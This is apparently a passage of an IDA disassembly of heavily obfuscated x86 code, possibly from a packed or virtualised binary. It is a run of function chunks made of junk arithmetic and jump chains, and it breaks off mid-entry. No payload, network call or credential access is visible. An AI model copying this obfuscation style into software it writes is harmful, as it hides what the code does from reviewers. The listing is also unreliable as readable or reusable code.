sub_5A503A loc_5A214A: ; CODE XREF: sub_5A503A-193Bj or ecx, 73AC735Bh jmp sub_5A405F ; END OF FUNCTION CHUNK FOR sub_5A503A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A913B loc_5A2155: ; CODE XREF: sub_5A913B+43ABj sub ch, 9Eh mov dh, ch pop ecx add dh, 1 or dh, 0DDh jmp loc_5A4B26 ; END OF FUNCTION CHUNK FOR sub_5A913B ; =============== S U B R O U T I N E ======================================= sub_5A2166 proc near ; CODE XREF: sub_599A61-713j var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0059A803 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0059AC59 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059BD33 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0059F126 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A3B6F SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005A8A44 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 005ACD30 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005AE89B SIZE 00000018 BYTES ; FUNCTION CHUNK AT 005AEC34 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005AEF67 SIZE 0000002C BYTES ; FUNCTION CHUNK AT 005AF68E SIZE 00000014 BYTES push ebp jmp loc_5ACD30 sub_5A2166 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A216C: ; CODE XREF: sub_5AA2D1-E090j xor bl, al movzx eax, al mov dx, word ptr [esp-10h+arg_C] push edi push esp pop edi add edi, 4 jmp sub_5A3E64 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A72CB loc_5A2183: ; CODE XREF: sub_5A72CB:loc_5A123Fj jmp loc_59C6A3 ; END OF FUNCTION CHUNK FOR sub_5A72CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A26E8 loc_5A2188: ; CODE XREF: sub_5A26E8-1BFAj add edx, esi push [esp+8+var_8] pop esi push ecx push esp jmp loc_5A7B28 ; END OF FUNCTION CHUNK FOR sub_5A26E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A77D5 loc_5A2195: ; CODE XREF: sub_5A77D5-C2C1j mov ebp, 6F0D57C3h mov ebx, 0DD7B2221h jmp loc_59C091 ; END OF FUNCTION CHUNK FOR sub_5A77D5 ; =============== S U B R O U T I N E ======================================= sub_5A21A4 proc near ; CODE XREF: sub_5AA2D1-96ACj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 00599BDD SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059AFCB SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059D04D SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0059F368 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005A2C67 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A2FA8 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A3B2A SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005A7890 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 005A9111 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005A9A45 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005AD25E SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005ADECF SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005AFB1C SIZE 0000000B BYTES push ebp push 0FA340FFh pop ebp neg ebp jz loc_599BDD xor ebp, 0F894CB51h mov edx, ebp jmp loc_5A2C67 sub_5A21A4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2AFE loc_5A21C0: ; CODE XREF: sub_5A2AFE+AF13j sub ebx, 597A5450h sub ebx, 6E241949h jmp loc_5A7AEB ; END OF FUNCTION CHUNK FOR sub_5A2AFE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A21D1: ; CODE XREF: sub_59C979+D155j sub esi, 0AD58E82Fh jmp loc_5AF9BE ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A503A loc_5A21DC: ; CODE XREF: sub_5A503A+4707j jnp loc_5A432C not edi or edi, 3FA070FDh jmp loc_5AB120 ; END OF FUNCTION CHUNK FOR sub_5A503A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3B60 loc_5A21EF: ; CODE XREF: sub_5A3B60-8AADj pop ebx pop eax ; END OF FUNCTION CHUNK FOR sub_5A3B60 ; =============== S U B R O U T I N E ======================================= sub_5A21F1 proc near ; CODE XREF: sub_5AA2D1+1AFCj var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005A05CA SIZE 00000024 BYTES ; FUNCTION CHUNK AT 005B02D9 SIZE 0000000A BYTES push ebx push 5C30h mov [esp+8+var_8], ebp jmp loc_5B02D9 sub_5A21F1 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A21FF: ; CODE XREF: sub_5AA2D1-9DFBj mov ax, word ptr [esp+8+var_8] push 1D9Ah jmp loc_5A54FB ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A86D0 loc_5A220D: ; CODE XREF: sub_5A86D0-AEAj push 2D05h mov [esp+8+var_8], edx jmp loc_5A000F ; END OF FUNCTION CHUNK FOR sub_5A86D0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0AA2 loc_5A221A: ; CODE XREF: sdfs____:0059A68Fj ; sub_5A0AA2:loc_5A2A10j pop edi sub ebx, 4 xchg ebx, [esp+4+var_4] pop esp jmp loc_59C047 ; END OF FUNCTION CHUNK FOR sub_5A0AA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A2227: ; CODE XREF: sub_5992DA+14C8j push 7B0F79AEh push [esp+28h+var_2A+2] jmp loc_59EA6F ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A580F loc_5A2234: ; CODE XREF: sub_5A580F-9C23j push edx mov edx, 3E76B9Ch add edx, 0C9797BA9h xor edi, edx pop edx push edi jmp loc_59FB50 ; END OF FUNCTION CHUNK FOR sub_5A580F ; --------------------------------------------------------------------------- loc_5A2249: ; CODE XREF: sdfs____:00599B59j push esp push dword ptr [esp] pop edx push esi jmp loc_5A6962 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A26E8 loc_5A2254: ; CODE XREF: sub_5A26E8+5442j mov edi, 4 add ecx, 2060353Bh sub ecx, 390E2E85h add ecx, edi push 8B9h mov [esp+14h+var_14], ebp mov ebp, 597D102Eh shr ebp, 5 or ebp, 24967CDh and ebp, 27A02D0h and ebp, 6C144B5Ch xor ebp, 390E2CC5h add ecx, ebp pop ebp sub ecx, 2060353Bh jmp loc_59AE14 ; END OF FUNCTION CHUNK FOR sub_5A26E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD84A loc_5A229D: ; CODE XREF: sub_5AD84A+Fj neg ebx dec ebx jo loc_59AF75 and ebx, 74986DD8h add ebx, 0AFEFBE7Ch mov esi, ebx jmp loc_5AC696 ; END OF FUNCTION CHUNK FOR sub_5AD84A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF2D9 loc_5A22B9: ; CODE XREF: sub_5AF2D9+1j push ecx push 269036Bh push dword ptr [esp+0] pop ecx push edx mov edx, esp jmp loc_59B000 ; END OF FUNCTION CHUNK FOR sub_5AF2D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A22CB: ; CODE XREF: sub_5AD993-133F1j ; sub_5AA2D1+16B8j mov ebp, [esp+0Ch+var_C] jmp loc_59922D ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5EFF loc_5A22D3: ; CODE XREF: sub_5A5EFF+3EA9j shr edx, 1 cmp eax, edx jz loc_5AC38A sub esp, 4 jmp loc_5AC3DB ; END OF FUNCTION CHUNK FOR sub_5A5EFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A22E5: ; CODE XREF: sub_59D6B8+638Aj push ecx mov ecx, 0EFE32B0h mov edx, ecx pop ecx sub esp, 4 mov [esp+14h+var_14], ebx jmp loc_5AC036 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F4D2 loc_5A22F9: ; CODE XREF: sub_59F4D2+3DB6j neg ebp jbe loc_599CDE add ebp, 77D012B9h and ebp, 20BE2767h ; END OF FUNCTION CHUNK FOR sub_59F4D2 ; START OF FUNCTION CHUNK FOR sub_5A913B loc_5A230D: ; CODE XREF: sub_5A913B-C2C4j not ch xchg ch, al sub al, 9Bh xor dh, al pop eax sub bl, 9Fh sub bl, dh add bl, 9Fh pop edx jmp loc_5A2B07 ; END OF FUNCTION CHUNK FOR sub_5A913B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A2324: ; CODE XREF: sub_59C979+12AF1j xor edx, esi not esi xchg esi, edx jmp loc_5A2DE3 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A232F: ; CODE XREF: sub_5AA2D1+3E56j push 3BD6h mov [esp+10h+var_10], esi jmp loc_5A2AC7 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D37E loc_5A233C: ; CODE XREF: sub_59D37E+1C6Cj add al, 0E3h jmp loc_5AB74B ; END OF FUNCTION CHUNK FOR sub_59D37E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ABB65 loc_5A2343: ; CODE XREF: sub_5ABB65-11E1Bj pop esi add ebp, eax pop eax jmp loc_5A400C ; END OF FUNCTION CHUNK FOR sub_5ABB65 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3E64 loc_5A234C: ; CODE XREF: sub_5A3E64+A657j dec edx xor eax, edx xor edx, eax xor eax, edx add eax, 2FA76330h jmp loc_5AF116 ; END OF FUNCTION CHUNK FOR sub_5A3E64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599CC6 loc_5A235D: ; CODE XREF: sub_599CC6+12BDBj pop ecx mov ah, bl mov ebx, [esp+0] jmp loc_5AAB28 ; END OF FUNCTION CHUNK FOR sub_599CC6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA810 loc_5A2368: ; CODE XREF: sub_5AA810+1BC6j add [esp+8], esi pop esi mov edx, [esp-8+arg_4] jmp loc_5A30F2 ; END OF FUNCTION CHUNK FOR sub_5AA810 ; --------------------------------------------------------------------------- loc_5A2375: ; CODE XREF: sdfs____:005AEF32j push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp shr edx, 5 neg edx xor edx, 0FFFA5946h add ecx, edx pop edx push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] mov fs:[edx], al jmp loc_59910F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_5A23A6: ; CODE XREF: sub_59EE3E:loc_5A29C5j xor esi, 98F45A2Dh xor ebx, esi pop esi push esi mov esi, 30DAC6Ah sub ebx, esi jmp loc_59E918 ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A4DFC loc_5A23BC: ; CODE XREF: sub_5A4DFC-64BEj add esp, 4 push small 5029h mov word ptr [esp+4+var_4], dx sub esp, 4 mov [esp+8+var_8], ebx jmp loc_5AE44D ; END OF FUNCTION CHUNK FOR sub_5A4DFC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A7746 loc_5A23D8: ; CODE XREF: sub_5A7746-AACCj push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_59D5AF ; END OF FUNCTION CHUNK FOR sub_5A7746 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A23E9: ; CODE XREF: sub_5AA2D1-1F6Ej add al, 5Fh mov dl, al mov eax, [esp+10h+var_10] add esp, 4 sub dl, al pop eax or dl, 5Bh jmp loc_5A1B7C ; --------------------------------------------------------------------------- loc_5A2401: ; CODE XREF: sub_5AA2D1-1F1j pop eax jmp loc_59B6E1 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A2407: ; CODE XREF: sdfs____:0059A3AEj ; sub_5992DA+16021j push edi push ebx mov ebx, esp add ebx, 4 jmp loc_5A71BA ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599A61 loc_5A2416: ; CODE XREF: sub_599A61+50E6j ; sub_5A913B-30CAj shl edx, 4 jp loc_5AE6CC shl edx, 5 jmp loc_5AB871 ; END OF FUNCTION CHUNK FOR sub_599A61 ; --------------------------------------------------------------------------- mov ebp, esi ; START OF FUNCTION CHUNK FOR sub_5A0FFF loc_5A2429: ; CODE XREF: sub_5A0FFF+A45Dj mov edx, 0 jmp loc_59B047 ; END OF FUNCTION CHUNK FOR sub_5A0FFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD6D4 loc_5A2433: ; CODE XREF: sub_5AD6D4-1ABEj not eax sub esp, 4 mov [esp+8+var_8], esi mov esi, 7FBF26FBh sub eax, esi mov esi, [esp+8+var_8] add esp, 4 jmp loc_5A6005 ; END OF FUNCTION CHUNK FOR sub_5AD6D4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_5A2450: ; CODE XREF: sub_5A6BBC-C23Bj sub ecx, 3F015A88h jmp loc_5AD090 ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_5A245B: ; CODE XREF: sub_5A477C-907Aj mov edx, 5AD01CE5h sub ecx, edx pop edx add ecx, 15FF36ACh jmp loc_5A7A5E ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A66A loc_5A246E: ; CODE XREF: sub_59A66A+3j mov [esp+4+var_4], eax jmp loc_5A4DCB ; END OF FUNCTION CHUNK FOR sub_59A66A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF294 loc_5A2476: ; CODE XREF: sub_5AF294+10j push edi mov edi, esp push edx mov edx, 4 add edi, edx pop edx add edi, 4 push edi jmp loc_5A870C ; END OF FUNCTION CHUNK FOR sub_5AF294 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A12F5 loc_5A248B: ; CODE XREF: sub_5A12F5+Aj add esp, 4 sub edx, ebp mov ebp, [esp+4+var_4] jmp loc_5A60B1 ; END OF FUNCTION CHUNK FOR sub_5A12F5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5EFF loc_5A249B: ; CODE XREF: sub_5A5EFF+27j mov [esp+8+var_8], edi jmp loc_5A50E5 ; END OF FUNCTION CHUNK FOR sub_5A5EFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A7028 loc_5A24A3: ; CODE XREF: sub_5A7028+1j push dword ptr [esp+4] pop ebx pop [esp+4+var_4] mov esp, [esp+0] push small word ptr [eax] jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5A7028 ; =============== S U B R O U T I N E ======================================= sub_5A24B6 proc near ; CODE XREF: sub_5A0AA2+7063j var_4 = dword ptr -4 sub esp, 4 mov [esp+4+var_4], edx mov dl, 0AFh jmp loc_59A4A9 sub_5A24B6 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9EC5 loc_5A24C3: ; CODE XREF: sub_5A9EC5-8526j pop ecx push 24Eh mov [esp+0Ch+var_C], edx mov dl, 81h sub dl, 0FFh xor dl, 0D9h add al, dl pop edx jmp loc_5A8E33 ; END OF FUNCTION CHUNK FOR sub_5A9EC5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9EBF loc_5A24DC: ; CODE XREF: sub_5A9EBF-EF72j sub ebx, 11C12E8Eh jmp loc_59C3A2 ; END OF FUNCTION CHUNK FOR sub_5A9EBF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E28 loc_5A24E7: ; CODE XREF: sub_5A2E28-7276j add ecx, 7D855575h add esi, ecx pop ecx jmp loc_59F094 ; END OF FUNCTION CHUNK FOR sub_5A2E28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0FFF loc_5A24F5: ; CODE XREF: sub_5A0FFF+1EBAj ; sub_5A477C+230Ej pop [esp+6+var_8+2] jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5A0FFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A24FD: ; CODE XREF: sub_5AA2D1-51Aj mov al, dh pop edx push ebx mov bh, 0B8h or al, bh pop ebx push ebx push ecx jmp loc_59CD01 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59AA62 loc_5A250D: ; CODE XREF: sub_59AA62+7115j sub ebp, edx push ecx mov ecx, 492354FEh sub ebp, ecx pop ecx mov edx, [esp+14h+var_14] push esi mov esi, esp add esi, 4 jmp loc_5AD634 ; END OF FUNCTION CHUNK FOR sub_59AA62 ; --------------------------------------------------------------------------- loc_5A2529: ; CODE XREF: sdfs____:0059BF0Dj xchg esi, [esp] jmp loc_59F0FC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E28 loc_5A2531: ; CODE XREF: sub_5A2E28-7CB2j pop ebx sub edi, 4 jmp loc_59ACD9 ; END OF FUNCTION CHUNK FOR sub_5A2E28 ; =============== S U B R O U T I N E ======================================= sub_5A253A proc near ; DATA XREF: sdfs____:00598E90o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005AA724 SIZE 0000000A BYTES push 7B6Fh mov [esp+4+var_4], ebx jmp loc_5AA724 sub_5A253A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A2547: ; CODE XREF: sub_5AA2D1-10600j xor [esp-10h+arg_C], ecx xor ecx, [esp-10h+arg_C] mov esp, [esp-10h+arg_C] movzx ax, byte ptr [eax] push edi push esp jmp loc_59EC59 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A63DC loc_5A255B: ; CODE XREF: sub_5A63DC+75E3j mov edx, [esp+8+var_8] push ebx jmp loc_5A3C4D ; END OF FUNCTION CHUNK FOR sub_5A63DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599D0E loc_5A2564: ; CODE XREF: sub_599D0E+1044Dj mov edi, [esp+0] add esp, 4 jmp loc_5A729F ; END OF FUNCTION CHUNK FOR sub_599D0E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9D64 loc_5A2572: ; CODE XREF: sub_5A9D64+B68j jo loc_59ABCC add ebx, 0A95A29D5h push ebx inc [esp+10h+var_10] pop ebx sub ebx, 3AA037D8h neg ebx sub ebx, 0BE8E9ADEh add ecx, ebx pop ebx jmp loc_5A6691 ; END OF FUNCTION CHUNK FOR sub_5A9D64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A2599: ; CODE XREF: sub_5AA2D1+16C8j mov edx, 27D418BAh and edx, 7C675A22h shl edx, 7 jmp loc_59B114 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A25AC: ; CODE XREF: sub_59D6B8-CB4j sub edx, 0FF16A725h mov ecx, edx jmp loc_5A0ADE ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D18A loc_5A25B9: ; CODE XREF: sub_59D18A+9831j mov eax, [esp+4+var_4] add esp, 4 jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_59D18A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5EFF loc_5A25C7: ; CODE XREF: sub_5A5EFF+4332j shr ebp, 1 jmp loc_5AB0CA ; END OF FUNCTION CHUNK FOR sub_5A5EFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A25CE: ; CODE XREF: sub_59C979+8A3Fj push edi jmp loc_5A153F ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A79BE loc_5A25D4: ; CODE XREF: sub_5A79BE+860j xor esi, 77F4C63h push esi add dword ptr [esp+0], 295F2262h jmp loc_5AC7B5 ; END OF FUNCTION CHUNK FOR sub_5A79BE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A26C loc_5A25E7: ; CODE XREF: sub_59A26C+215Bj sub edi, 49C722B3h add edi, edx add edi, 49C722B3h jmp loc_5AF881 ; END OF FUNCTION CHUNK FOR sub_59A26C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A580F loc_5A25FA: ; CODE XREF: sub_5A580F-3846j mov [esp+0], edx jmp loc_5AD3B7 ; END OF FUNCTION CHUNK FOR sub_5A580F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A2602: ; CODE XREF: sub_5AA2D1-AA70j mov bl, 0CDh mov dl, bl push dword ptr [esp+0] pop ebx jmp loc_5A3251 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB622 loc_5A260F: ; CODE XREF: sub_5AB622-DCECj push edi mov edi, 7C00609h dec edi jmp loc_5AB2F8 ; END OF FUNCTION CHUNK FOR sub_5AB622 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A4D9D loc_5A261B: ; CODE XREF: sub_5A4D9D-97DCj ; sub_5A65D3+15j shl esi, 1 js loc_599C5D xor esi, 17606663h xor esi, 0EAA92A34h push ebx push ebx ; END OF FUNCTION CHUNK FOR sub_5A4D9D ; START OF FUNCTION CHUNK FOR sub_5A0AA2 loc_5A2631: ; CODE XREF: sub_5A0AA2+BE15j push [esp+4+var_4] pop edx add esp, 4 jmp loc_5A0D45 ; END OF FUNCTION CHUNK FOR sub_5A0AA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A263D: ; CODE XREF: sub_59C979-1ED9j add ebx, ecx push [esp+6+var_6] mov ecx, [esp+0Ah+var_A] jmp loc_5A1E30 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A264A: ; CODE XREF: sub_5AA2D1-DE67j pop ecx add ecx, 4 jmp loc_5A4B8F ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_5A2656: ; CODE XREF: sub_5A477C-720Aj ; sub_5A5B27+1274j push esi mov esi, 4 mov eax, esi pop esi add ebx, eax pop eax xor ebx, [esp-8+arg_4] xor [esp-8+arg_4], ebx xor ebx, [esp-8+arg_4] mov esp, [esp-8+arg_4] pop [esp-8+arg_4] mov esp, [esp-0Ch+arg_8] shl [esp-0Ch+arg_8], cl pushf jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A72CB loc_5A267D: ; CODE XREF: sub_5A72CB+15j push eax push ebp mov ebp, 65EC60B2h add ebp, 74535E88h jmp loc_5A123F ; END OF FUNCTION CHUNK FOR sub_5A72CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ADD33 loc_5A268F: ; CODE XREF: sub_5ADD33-4F2Bj sub edx, 5FAB4C22h push 50E6h mov [esp+0Ch+var_C], esi mov esi, 21A93389h sub esp, 4 mov [esp+10h+var_10], ecx mov ecx, 139977B5h shr ecx, 6 push edx mov edx, 0FE7CAA63h add ecx, edx pop edx jmp loc_59C646 ; END OF FUNCTION CHUNK FOR sub_5ADD33 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A311C loc_5A26C1: ; CODE XREF: sub_5A311C+6CFDj not edx add edx, 0D3F01E65h add eax, edx push [esp+0Ch+var_C] pop edx add esp, 4 add eax, 4 jmp sub_5A8C5C ; END OF FUNCTION CHUNK FOR sub_5A311C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A26DC: ; CODE XREF: sub_5AA2D1-318Dj ; sdfs____:005AE1B1j mov cx, word ptr [esp-8+arg_4] push esi push esp pop esi jmp loc_5A0944 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_5A26E8 proc near ; DATA XREF: sdfs____:00598EB4o var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059AE14 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0059B04F SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059C8D7 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059D4EA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0059DFED SIZE 0000002E BYTES ; FUNCTION CHUNK AT 005A0AE3 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005A2188 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A2254 SIZE 00000049 BYTES ; FUNCTION CHUNK AT 005A7B28 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005AE41A SIZE 00000010 BYTES mov cx, [esp+0] push ebp mov ebp, esp jmp loc_59C8D7 sub_5A26E8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A26F4: ; CODE XREF: sub_5AA2D1-5FBEj pop edx dec ebx shr ebx, 6 jmp loc_5A0F5D ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599B07 loc_5A26FE: ; CODE XREF: sub_599B07+8j mov ebp, eax pop eax mov ecx, [esp+0] push ebp sub esp, 4 mov [esp+8+var_8], esp add [esp+8+var_8], 4 jmp loc_5A4A5C ; END OF FUNCTION CHUNK FOR sub_599B07 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A271A: ; CODE XREF: sub_5AA2D1-1E8Fj add al, dl mov edx, [esp-8+arg_4] add esp, 4 pop edx jmp loc_59F84F ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F1C3 loc_5A272B: ; CODE XREF: sub_59F1C3+9B9j mov edx, esp add edx, 4 jmp loc_59AAF4 ; END OF FUNCTION CHUNK FOR sub_59F1C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A2738: ; CODE XREF: sub_5AA2D1-9992j mov edx, eax mov eax, [esp+4+var_4] add esp, 4 jmp loc_59FFF2 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59B2E4 loc_5A2748: ; CODE XREF: sub_59D4FD-1C23j ; sub_59B2E4+BA4j pop esp jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_59B2E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A765F loc_5A274E: ; CODE XREF: sub_5A765F+12j xor ebx, 0F150h sub ecx, ebx jmp loc_5AB0DA ; END OF FUNCTION CHUNK FOR sub_5A765F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AAB66 loc_5A275B: ; CODE XREF: sub_5AAB66-324Bj mov esi, [esp+0] push esi jmp loc_5A3C98 ; END OF FUNCTION CHUNK FOR sub_5AAB66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59DD36 loc_5A2764: ; CODE XREF: sub_59DD36+DBF7j sub edi, 4 xchg edi, [esp+0Ch+var_C] pop esp mov [esp+8+var_8], esp add [esp+8+var_8], 4 mov ebx, [esp+8+var_8] add esp, 4 add ebx, 4 sub ebx, 4 jmp loc_5A8DD7 ; END OF FUNCTION CHUNK FOR sub_59DD36 ; =============== S U B R O U T I N E ======================================= sub_5A2789 proc near ; CODE XREF: 